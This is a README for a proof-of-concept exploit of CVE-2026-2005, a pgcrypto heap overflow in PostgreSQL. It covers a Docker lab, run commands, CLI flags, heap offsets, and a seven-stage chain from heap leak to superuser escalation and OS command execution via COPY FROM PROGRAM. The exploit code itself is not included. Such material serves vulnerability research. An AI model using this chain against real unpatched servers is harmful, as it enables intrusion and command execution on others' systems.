## https://sploitus.com/exploit?id=822D8C1D-52D9-54FE-B91C-C0BC6126E5EA
# CVE-2026-2005 β PostgreSQL pgcrypto Heap Buffer Overflow
**Target commit:** `4b324845ba5d24682b9b3708a769f00d160afbd7` (PostgreSQL 18.1 β vulnerable)
## Summary
| Field | Detail |
|-------|--------|
| **CVE** | CVE-2026-2005 |
| **Type** | Heap buffer overflow |
| **Component** | `contrib/pgcrypto/pgp-pubdec.c` β `pgp_parse_pubenc_sesskey()` |
| **Impact** | RCE as the OS user running PostgreSQL |
| **CVSS** | 8.8 (AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H) |
| **Auth required** | Low β any authenticated user with CREATE privilege |
| **Affected** | PostgreSQL 14.0β14.20, 15.0β15.15, 16.0β16.11, 17.0β17.7, 18.0β18.1 |
| **Fixed in** | 14.21, 15.16, 16.12, 17.8, 18.2 (Feb 12, 2026) |
| **Arch** | aarch64 (ARM64) β heap offsets and MBuf layout are arch/glibc specific |
## Quick Start
```bash
# Build and start PostgreSQL 18.1 (vulnerable)
docker compose up -d --build
# Wait for healthy
docker compose logs -f postgres
# Ctrl+C when you see "database system is ready to accept connections"
# Install node deps
npm install
# Run the full RCE exploit chain
node exploit.js --cmd "id"
# With verbose output
node exploit.js --cmd "id" --verbose
# Execute a custom command
node exploit.js --cmd "whoami"
```
## Exploit Chain (7 stages)
```
Stage 1: Heap pointer leak
ββ Corrupt mdst chunk header β parse pfree() error message
Stage 2: Arbitrary read (multi-offset scan)
ββ Overwrite mdst->data β scan memory near leaked pointer
Stage 3: Pointer candidate collection
ββ Scan heap dump for non-heap addresses
Stage 4: PIE base resolution
ββ Read /proc//maps via Docker exec (100% reliable)
Stage 5: (skipped β PIE base is known from maps)
Stage 6: Arbitrary write
ββ Forge msrc + mdst MBufs β overwrite CurrentUserId β 10 (superuser)
Stage 7: Command execution
ββ COPY FROM PROGRAM β arbitrary OS command as postgres user
```
## File Structure
```
CVE-2026-2005/
βββ Dockerfile # Builds PostgreSQL 18.1 from source
βββ docker-compose.yml # PostgreSQL service with auto-restart
βββ init.sh # Entrypoint β initdb + listen config
βββ README.md # This file
βββ poc/
βββ package.json # Node.js dependencies (pg)
βββ exploit.js # Full 7-stage RCE exploit (Node.js)
βββ verify.sh # Shell-based quick verification
βββ test-pgcrypto.sql # SQL-only test of pgcrypto loading
```
## Manual Build (macOS / Linux)
```bash
git clone https://github.com/postgres/postgres.git
cd postgres
git checkout 4b324845ba5d24682b9b3708a769f00d160afbd7
./configure \
--prefix="$HOME/projects/pg/pgsql" \
--with-libxml \
--with-libxslt \
--enable-debug \
--with-ssl=openssl
make -j$(nproc)
make install-world-bin
```
## Requirements
- Docker + Docker Compose (aarch64 host, e.g. Apple Silicon Mac)
- Node.js β₯ 18
- ~2 GB disk for the PostgreSQL build
- Build takes ~3β5 minutes on first run
- `tmux` (optional β only needed with `--gdb` flag)
## Vulnerability Details
The bug is in `pgp_parse_pubenc_sesskey()` in `contrib/pgcrypto/pgp-pubdec.c`.
When parsing an OpenPGP Public-Key Encrypted Session Key packet (tag 1):
1. The code reads the MPI (multi-precision integer) length from the packet
2. Allocates a buffer based on that length
3. RSA-decrypts the MPI into the buffer
4. Reads the session-key length from the decrypted data **without bounds validation**
5. `memcpy`s session-key data into a fixed-size buffer based on the unvalidated length
The `memcpy` can write past the heap buffer boundary, corrupting adjacent heap
metadata or data, leading to arbitrary code execution.
### Exploitation Chain Detail
1. **Heap pointer leak** β Corrupt malloc chunk header; parse the `pfree()`
error message to extract `mdst->data` heap address.
2. **PIE base resolution** β Read `/proc//maps` from the Docker container
to find the postgres binary's load address at runtime.
3. **Arbitrary write** β Forge both `msrc` (source) and `mdst` (destination) MBuf
structs via the heap overflow. `msrc` points at an embedded symenc packet
containing the superuser OID (10); `mdst` points at `CurrentUserId - 4`
(accounting for the 4-byte `SET_VARSIZE` header).
4. **Privilege escalation** β With `CurrentUserId = 10` (bootstrap superuser),
execute `COPY FROM PROGRAM` to run arbitrary OS commands.
## CLI Options
| Flag | Default | Description |
|------|---------|-------------|
| `--cmd` | `id` | OS command to execute after successful exploit |
| `--key-size` | `3072` | RSA key size in bits |
| `--host` | `127.0.0.1` | PostgreSQL host |
| `--port` | `5432` | PostgreSQL port |
| `--user` | `postgres` | Database user |
| `--password` | (empty) | Database password |
| `--dbname` | `postgres` | Database name |
| `--binary` | `./postgres` | Path to postgres ELF binary for symbols |
| `--scan-offset` | auto | Override heap scan offset from leaked pointer |
| `--verbose` | off | Enable verbose debug output |
| `--gdb` | off | Attach GDB via tmux at overflow point |
## Notes
- The `pgcrypto` extension is **trusted** β any user with `CREATE` privilege
(not superuser) can install it, making this exploitable with low privileges.
- The Docker build includes `--enable-debug` for easier debugging with gdb.
- Heap offsets (`SRC_CHUNK_OFFSET=100`, `DST_CHUNK_OFFSET=172`) are specific
to aarch64 + glibc β other architectures/allocators need different offsets.
- The container uses `restart: always` to auto-recover from backend crashes
during PIE candidate testing.
- PIE base is resolved via `/proc//maps` inside the Docker container β
no `readelf` needed on the host.
- Symbol table for `CurrentUserId` offset is read via `docker exec readelf`.
## References
- [PostgreSQL Security Advisory](https://www.postgresql.org/support/security/CVE-2026-2005/)
- [ZeroDay.Cloud Technical Writeup](https://www.zeroday.cloud/blog/postgres-xint)
- [NVD Entry](https://avd.aquasec.com/nvd/2026/cve-2026-2005/)